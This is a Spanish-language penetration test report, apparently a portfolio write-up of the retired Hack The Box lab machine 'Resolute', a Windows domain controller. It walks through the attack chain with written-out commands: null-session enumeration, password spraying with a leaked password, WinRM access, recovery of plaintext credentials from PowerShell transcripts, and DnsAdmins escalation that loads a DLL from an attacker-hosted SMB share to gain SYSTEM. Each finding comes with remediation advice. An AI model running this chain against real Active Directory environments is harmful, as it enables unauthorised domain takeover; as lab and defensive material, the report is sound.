INFORME DE PENTEST

RESOLUTE

Controlador de Dominio de Active Directory · Evaluación de Seguridad

Host objetivo	10.129.96.155 (RESOLUTE.megabank.local)
Sistema operativo	Windows Server 2016 Standard (Build 14393)
Rol	Controlador de Dominio de Active Directory (megabank.local)
Tipo de auditoría	Test de intrusión de red interna (caja negra)
Auditor	Álvaro Irún Brea · Domain Security
Fecha del informe	10 de septiembre de 2026
Referencia	DS-PT-2026-001
Clasificación	CONFIDENCIAL

Aviso de Confidencialidad

Este documento contiene información confidencial sobre la postura de seguridad del entorno evaluado. Está destinado exclusivamente a la organización receptora y al personal autorizado. Los hallazgos describen vulnerabilidades que podrían aprovecharse para comprometer el entorno, por lo que su distribución debe restringirse. Este informe corresponde a un ejercicio de laboratorio realizado contra la máquina retirada de Hack The Box "Resolute", redactado como un informe de test de intrusión profesional para demostrar metodología, estándares de reporte y guía de remediación.

Índice

1. Resumen Ejecutivo

Se realizó un test de intrusión de red interna contra un Controlador de Dominio de Active Directory sobre Windows Server 2016 (megabank.local). La auditoría simuló a un atacante no autenticado que ha conseguido acceso a la red interna · por ejemplo mediante un dispositivo no autorizado, una estación de trabajo comprometida o un empleado malicioso · y se propuso determinar qué podría lograr dicho atacante contra el dominio.

La evaluación resultó en el compromiso total del dominio. Partiendo de cero credenciales, el auditor obtuvo un punto de entrada, se movió lateralmente a una cuenta más privilegiada y finalmente logró ejecución de código como NT AUTHORITY\SYSTEM en el Controlador de Dominio · el máximo nivel de privilegio del entorno. Esto equivale al control total sobre todos los usuarios, equipos y datos del dominio.

Es crítico destacar que no fue necesario ningún exploit de software ni 0-day. El compromiso se logró íntegramente encadenando debilidades de configuración y malas prácticas de gestión de credenciales que son extremadamente comunes en entornos de Active Directory reales: enumeración anónima del directorio, una contraseña almacenada en texto plano en los atributos de un usuario, la reutilización de una contraseña de alta débil, una credencial en texto plano olvidada en un fichero de log, y la pertenencia a un grupo con privilegios excesivos.

Valoración global de riesgo: CRÍTICA

Dado que un atacante sin credenciales iniciales fue capaz de alcanzar el control administrativo total del dominio, el riesgo global del entorno se valora como CRÍTICO. Cada debilidad individual es sencilla de remediar, y hacerlo rompería la cadena de ataque en varios puntos.

Resumen de hallazgos

ID	Hallazgo	Severidad	CVSS
F-01	Contraseña en texto plano en un atributo de cuenta de Active Directory	**Alta**	7.5
F-02	Compromiso del dominio vía grupo DnsAdmins (DLL arbitraria como SYSTEM)	**Crítica**	9.1
F-03	Credenciales en texto plano expuestas en logs de transcripción de PowerShell	**Alta**	6.5
F-04	Enumeración anónima (sesión nula) de usuarios y política del dominio	**Media**	5.3
F-05	Política de contraseñas débil: sin umbral de bloqueo y contraseñas débiles reutilizadas	**Media**	5.3

2. Alcance y Metodología

2.1 Alcance

La auditoría se limitó a un único host dentro del alcance, evaluado desde la perspectiva de un atacante situado en la red interna sin credenciales ni conocimiento previo del entorno (caja negra).

- **Dentro del alcance:** 10.129.96.155 (RESOLUTE.megabank.local)
- **Excluido:** las pruebas de denegación de servicio, la ingeniería social y los ataques físicos quedaron fuera del alcance.
- **Reglas de compromiso:** las pruebas estaban autorizadas únicamente contra este host; toda la actividad fue no destructiva.

2.2 Metodología

La evaluación siguió un ciclo de vida estándar de test de intrusión, alineado con PTES (Penetration Testing Execution Standard) y con el enfoque de "enumeración primero" apropiado para entornos de Active Directory:

- **Reconocimiento y enumeración** · escaneo completo de puertos TCP, fingerprinting de servicios/versiones e identificación del rol del host en el dominio.
- **Enumeración no autenticada** · comprobación de acceso anónimo / sesión nula a SMB, RPC y LDAP antes de cualquier actividad con credenciales.
- **Acceso inicial** · aprovechamiento de credenciales filtradas para establecer un punto de entrada autenticado.
- **Movimiento lateral** · enumeración del host tras el acceso para recuperar credenciales adicionales.
- **Escalada de privilegios** · abuso de la pertenencia a un grupo para lograr ejecución de código a nivel SYSTEM en el Controlador de Dominio.
- **Reporte** · documentación de cada hallazgo con evidencia, impacto, puntuación CVSS y remediación.

2.3 Herramientas

Se emplearon las siguientes herramientas estándar del sector: Nmap (escaneo de puertos y detección de servicios), enum4linux-ng (enumeración SMB/RPC), NetExec (pruebas de autenticación y password spraying), evil-winrm (shell remota por WinRM), dnscmd y sc (gestión nativa de DNS/servicios de Windows), impacket-smbserver (share SMB controlado por el atacante) y MinGW (x86_64-w64-mingw32-gcc) para compilar una DLL personalizada.

3. Narrativa del Ataque

Esta sección recorre la cadena de ataque completa en el orden en que se ejecutó, mostrando cómo cinco debilidades independientes se combinaron para escalar desde cero acceso hasta el compromiso total del dominio. Cada debilidad numerada se documenta en detalle en la Sección 4.

3.1 Reconocimiento

Un escaneo completo de puertos TCP identificó el host como un Controlador de Dominio de Active Directory del dominio megabank.local: Kerberos (88), LDAP (389/3268), SMB (445), DNS (53) y WinRM (5985) estaban todos expuestos.

```
nmap -sC -sV -p- -oN nmap-resolute.txt 10.129.96.155

88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
389/tcp  open  ldap          Microsoft Windows AD LDAP (Domain: megabank.local)
445/tcp  open  microsoft-ds  Windows Server 2016 Standard 14393
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (WinRM)
```

3.2 Enumeración no autenticada (F-04)

Antes de intentar cualquier acceso con credenciales, el auditor comprobó el acceso anónimo. El servicio RPC aceptó una sesión nula, suficiente para enumerar las 27 cuentas de usuario del dominio y la política de contraseñas.

Una cuenta · marko · tenía una contraseña almacenada en texto plano en su atributo de descripción (ver F-01), y la política reveló que no había ningún umbral de bloqueo de cuenta configurado (ver F-05).

```
enum4linux-ng -A 10.129.96.155

[+] Server allows authentication via username '' and password ''
username: marko   description: Account created. Password set to Welcome123!
Lockout threshold: None
```

3.3 Acceso inicial · password spraying (F-01, F-03)

La contraseña filtrada no funcionó directamente para marko, lo que indicaba que probablemente se había reutilizado en varias cuentas recién creadas. Al no existir política de bloqueo, el auditor pudo rociar de forma segura esa única contraseña contra toda la lista de usuarios, obteniendo una credencial válida para la usuaria melanie.

melanie es miembro del grupo Remote Management Users, lo que concede una sesión interactiva de PowerShell por WinRM. Se obtuvo la flag de usuario, confirmando el punto de entrada.

```
netexec smb 10.129.96.155 -u users.txt -p 'Welcome123!' --continue-on-success
  [+] megabank.local\melanie:Welcome123!

evil-winrm -i 10.129.96.155 -u melanie -p 'Welcome123!'
```

3.4 Movimiento lateral (F-03)

Al enumerar el sistema de ficheros como melanie se descubrió un directorio oculto y no estándar en C:\PSTranscripts que contenía logs de transcripción de PowerShell. Una transcripción capturó al usuario ryan ejecutando un comando net use con su contraseña escrita en la propia línea de comandos, exponiendo la credencial en texto plano.

La credencial recuperada (ryan : Serv3r4Admin4cc123!) era válida y también concedía acceso por WinRM.

```
dir C:\ -Force        # revela el oculto C:\PSTranscripts
type C:\PSTranscripts\20191203\PowerShell_transcript.*.txt
  ...net use X: \\fs01\backups ryan Serv3r4Admin4cc123!...
```

3.5 Escalada de privilegios a SYSTEM (F-02)

La cuenta ryan es miembro del grupo DnsAdmins. Los miembros de este grupo pueden indicar al servicio DNS de Windows · que corre como SYSTEM en el Controlador de Dominio · que cargue una DLL arbitraria como plugin a nivel de servidor. Al reiniciar el servicio, la DLL se ejecuta con privilegios de SYSTEM.

Se compiló una DLL personalizada en C (evitando la detección por antivirus del shellcode genérico), se alojó en un share SMB controlado por el atacante y se registró mediante dnscmd. Al reiniciar el servicio DNS, la DLL se ejecutó como SYSTEM y exfiltró la flag de root al share del atacante, confirmando el compromiso total del Controlador de Dominio.

```
dnscmd.exe /config /serverlevelplugindll \\10.10.14.55\share\evil.dll
sc.exe stop dns  &&  sc.exe start dns
  -> la DLL se ejecuta como NT AUTHORITY\SYSTEM en el DC
```

4. Hallazgos Detallados

F-01 · Contraseña en texto plano en un atributo de cuenta de Active Directory

Severidad	**Alta (CVSS 7.5)**
Vector CVSS	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Activo afectado	Cuenta de dominio 'marko' (legible por cualquier usuario / anónimo)

Descripción

El atributo de descripción de la cuenta de dominio marko contenía una contraseña en texto plano: "Account created. Password set to Welcome123!". Los atributos de Active Directory como description son legibles por todos los usuarios autenticados · y en este host, por usuarios anónimos mediante sesión nula (ver F-04). Almacenar una credencial aquí equivale a publicarla a todo el dominio.

Aunque la contraseña no autenticaba a la propia cuenta marko, se había reutilizado para otras cuentas y habilitó directamente el punto de entrada inicial (ver F-03).

Evidencia

```
username: marko  name: Marko Novak
description: Account created. Password set to Welcome123!
```

Impacto

Cualquier usuario · incluido un atacante no autenticado en la red · puede leer la credencial y usarla para autenticarse en el dominio, proporcionando un punto de entrada desde el que continúa el resto de la cadena de ataque.

Remediación

- Cambiar de inmediato la contraseña expuesta y la de cualquier cuenta donde se haya reutilizado.
- No almacenar nunca contraseñas ni otros secretos en atributos de AD (description, info, comment, etc.); estos campos son ampliamente legibles.
- Auditar todos los objetos del directorio en busca de secretos almacenados en atributos de texto libre (p. ej. con herramientas que busquen en los campos description/info de todo el dominio).
- Entregar credenciales temporales de alta por un canal seguro y forzar su cambio en el primer inicio de sesión (ver F-03).

Referencias

- MITRE ATT&CK T1552.001 · Unsecured Credentials: Credentials In Files/Attributes

---

F-02 · Compromiso del dominio vía grupo DnsAdmins (DLL arbitraria como SYSTEM)

Severidad	**Crítica (CVSS 9.1)**
Vector CVSS	CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Activo afectado	Cuenta de dominio 'ryan' (miembro de DnsAdmins); servicio DNS del DC

Descripción

La cuenta ryan es miembro del grupo integrado DnsAdmins. El servicio DNS de Microsoft corre como SYSTEM en el Controlador de Dominio y expone un ajuste ServerLevelPluginDll que hace que cargue una DLL arbitraria al arrancar. Cualquier miembro de DnsAdmins puede establecer este valor (mediante dnscmd o el registro) y, si puede reiniciar el servicio DNS, lograr ejecución de código arbitrario como SYSTEM en el DC. Es una vía de escalada de privilegios de Active Directory ampliamente documentada.

El auditor compiló una DLL personalizada inofensiva, la alojó en un share SMB, la registró y reinició el servicio DNS; la DLL se ejecutó como SYSTEM. Dado que SYSTEM en un Controlador de Dominio equivale a Domain Admin, esto representa el compromiso total del dominio.

Evidencia

```
whoami /groups  ->  MEGABANK\DnsAdmins
dnscmd.exe /config /serverlevelplugindll \\10.10.14.55\share\evil.dll
sc.exe stop dns ; sc.exe start dns   # la DLL corre como SYSTEM en el DC
```

Impacto

Compromiso total e irreversible de todo el dominio de Active Directory: el atacante obtiene control completo sobre todas las cuentas (incluidos los Domain Admins), todos los equipos unidos al dominio y todos los datos, y puede establecer persistencia extremadamente difícil de erradicar.

Remediación

- Tratar DnsAdmins como un grupo altamente privilegiado (tier-0). Auditar su pertenencia y eliminar cualquier cuenta que no tenga una necesidad operativa estricta.
- No conceder la administración de DNS a cuentas de usuario estándar; usar cuentas administrativas dedicadas y monitorizadas de cerca donde la gestión de DNS sea realmente necesaria.
- Monitorizar los cambios en el valor de registro ServerLevelPluginDll y los reinicios del servicio DNS, que son indicadores claros de este ataque.
- Cuando sea viable, separar el rol de DNS de los Controladores de Dominio para que el compromiso del servicio DNS no equivalga al del DC.

Referencias

- MITRE ATT&CK T1543 / T1574 · Abuso de servicio / DLL
- Microsoft documenta DnsAdmins como efectivamente equivalente a Domain Admin en un DC

F-03 · Credenciales en texto plano expuestas en logs de transcripción de PowerShell

Severidad	**Alta (CVSS 6.5)**
Vector CVSS	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Activo afectado	C:\PSTranscripts (directorio de transcripciones legible por todos); cuenta 'ryan'

Descripción

La transcripción de PowerShell estaba habilitada y configurada para escribir logs en C:\PSTranscripts, pero el directorio no tenía el acceso restringido. Una transcripción capturó al usuario ryan ejecutando un comando net use con la contraseña suministrada en la propia línea de comandos, registrando la credencial en texto plano. Cualquier usuario capaz de leer el directorio de transcripciones podía recuperar la contraseña de ryan.

La transcripción de PowerShell es un control defensivo valioso · pero cuando el destino del log no está protegido, se convierte en un almacén centralizado de cualquier secreto que pase por una consola.

Evidencia

```
dir C:\ -Force   # C:\PSTranscripts está oculto pero presente
PowerShell_transcript...: net use X: \\fs01\backups ryan Serv3r4Admin4cc123!
```

Impacto

Un atacante con cualquier punto de entrada de bajo privilegio puede recuperar una credencial más privilegiada, habilitando el movimiento lateral · en este caso la cuenta que finalmente condujo al compromiso del dominio (ver F-02).

Remediación

- Restringir el directorio de salida de las transcripciones con ACLs estrictas de modo que solo los administradores (y la cuenta SYSTEM que escribe los logs) puedan leerlo; idealmente, enviar las transcripciones a un almacén de logs central y protegido en lugar de dejarlas en el host.
- Formar a los administradores para que nunca pasen credenciales como argumentos de línea de comandos (quedan capturadas por la transcripción, el historial de comandos y la auditoría de procesos). Usar en su lugar objetos de credencial seguros.
- Rotar de inmediato la credencial expuesta.

Referencias

- MITRE ATT&CK T1552.001 · Unsecured Credentials In Files

F-04 · Enumeración anónima (sesión nula) de usuarios y política del dominio

Severidad	**Media (CVSS 5.3)**
Vector CVSS	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Activo afectado	Servicios SMB / RPC / LDAP del Controlador de Dominio

Descripción

El Controlador de Dominio permitió una sesión nula anónima sobre RPC, permitiendo a un atacante no autenticado enumerar la lista completa de cuentas de usuario del dominio (27 usuarios), pertenencias a grupos y la política de contraseñas. Esta información reduce significativamente la barrera para ataques posteriores como el password spraying (aporta tanto la lista de objetivos como los parámetros seguros de rociado).

Evidencia

```
enum4linux-ng -A 10.129.96.155
[+] Server allows authentication via username '' and password ''
[+] After merging user results we have 27 user(s) total
```

Impacto

Divulgación de la lista completa de usuarios y de la política de contraseñas a cualquier atacante no autenticado en la red, habilitando rociado dirigido y reconocimiento. Esto permitió directamente el descubrimiento de la credencial de F-01.

Remediación

- Restringir el acceso anónimo a Active Directory. Asegurar que las políticas de "Acceso de red: permitir traducción anónima de SID/Nombre" y otras políticas de sesión nula estén deshabilitadas vía Group Policy.
- Eliminar cualquier pertenencia heredada al grupo "Pre-Windows 2000 Compatible Access" que conceda lectura anónima donde no sea necesaria.
- Monitorizar la enumeración anónima LDAP/SAMR.

Referencias

- MITRE ATT&CK T1087 · Account Discovery

F-05 · Política de contraseñas débil: sin umbral de bloqueo y contraseñas débiles reutilizadas

Severidad	**Media (CVSS 5.3)**
Vector CVSS	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Activo afectado	Política de contraseñas del dominio (megabank.local)

Descripción

La política de contraseñas del dominio no definía un umbral de bloqueo de cuenta, lo que significa que se permite un número ilimitado de intentos de autenticación fallidos sin bloquear las cuentas. Combinado con contraseñas de alta débiles y reutilizadas (ver F-01/F-03), esto hace que el password spraying y la fuerza bruta sean de bajo riesgo y muy eficaces para un atacante.

Evidencia

```
Domain lockout information:
  Lockout threshold: None
  Minimum password length: 7
  Password complexity (DOMAIN_PASSWORD_COMPLEX): false
```

Impacto

Los atacantes pueden rociar o realizar fuerza bruta de credenciales a escala sin provocar bloqueos, aumentando enormemente la probabilidad de comprometer al menos una cuenta.

Remediación

- Configurar un umbral de bloqueo de cuenta (p. ej. 5–10 intentos fallidos) con una ventana de observación y una duración adecuadas.
- Exigir complejidad de contraseña y una longitud mínima mayor (se recomiendan 12+ caracteres), y filtrar contra listas de contraseñas filtradas conocidas.
- Asegurar que las contraseñas de alta sean únicas por usuario y exijan cambio en el primer inicio de sesión.

Referencias

- MITRE ATT&CK T1110.003 · Password Spraying

---

5. Recomendaciones

Las siguientes acciones priorizadas romperían la cadena de ataque demostrada. Dado que cada eslabón de la cadena es independiente, remediar incluso un subconjunto reduce materialmente el riesgo; abordarlos todos elimina por completo la vía demostrada hacia el compromiso del dominio.

Inmediato (romper la cadena de ataque ya)

- Rotar las credenciales expuestas de marko, melanie y ryan, y de cualquier cuenta que reutilice Welcome123!.
- Eliminar a ryan (y a cualquier otro miembro no esencial) del grupo DnsAdmins.
- Eliminar la contraseña en texto plano del atributo description de marko y auditar todos los atributos de AD en busca de secretos.
- Restringir o reubicar el directorio C:\PSTranscripts con ACLs estrictas.

Estratégico (endurecer el entorno)

- Deshabilitar el acceso anónimo / de sesión nula a SMB, RPC y LDAP en todos los Controladores de Dominio.
- Implementar una política de contraseñas robusta: umbral de bloqueo, complejidad, mínimo de 12+ caracteres y filtrado de contraseñas filtradas.
- Establecer un modelo de administración tier-0 y tratar grupos como DnsAdmins como tier-0; auditar la pertenencia a grupos privilegiados con regularidad.
- Desplegar monitorización/alertas para los comportamientos concretos observados: enumeración anónima, password spraying, cambios en ServerLevelPluginDll y reinicios inesperados del servicio DNS.
- Formar a los administradores para que nunca pasen secretos por la línea de comandos y provisionen credenciales de alta de forma segura.

Anexo A · Valoraciones y Descargo

A.1 Valoración de severidad

Los hallazgos se puntúan usando CVSS v3.1. Las bandas de severidad se interpretan como sigue:

Severidad	CVSS	Interpretación
Crítica	9.0 – 10.0	Vía trivial al compromiso total; remediar de inmediato.
Alta	7.0 – 8.9	Riesgo significativo; remediar de forma prioritaria.
Media	4.0 – 6.9	Riesgo relevante, normalmente como parte de una cadena; planificar remediación.
Baja	0.1 – 3.9	Impacto limitado; remediar según recursos disponibles.

A.2 Descargo de responsabilidad

Este informe refleja la postura de seguridad del objetivo en el momento de las pruebas y no garantiza la ausencia de otras vulnerabilidades. Documenta un ejercicio de laboratorio contra la máquina retirada de Hack The Box "Resolute", elaborado como un informe de test de intrusión en formato profesional con fines de portfolio y educativos. Todas las pruebas estaban autorizadas dentro de los términos de servicio de la plataforma Hack The Box.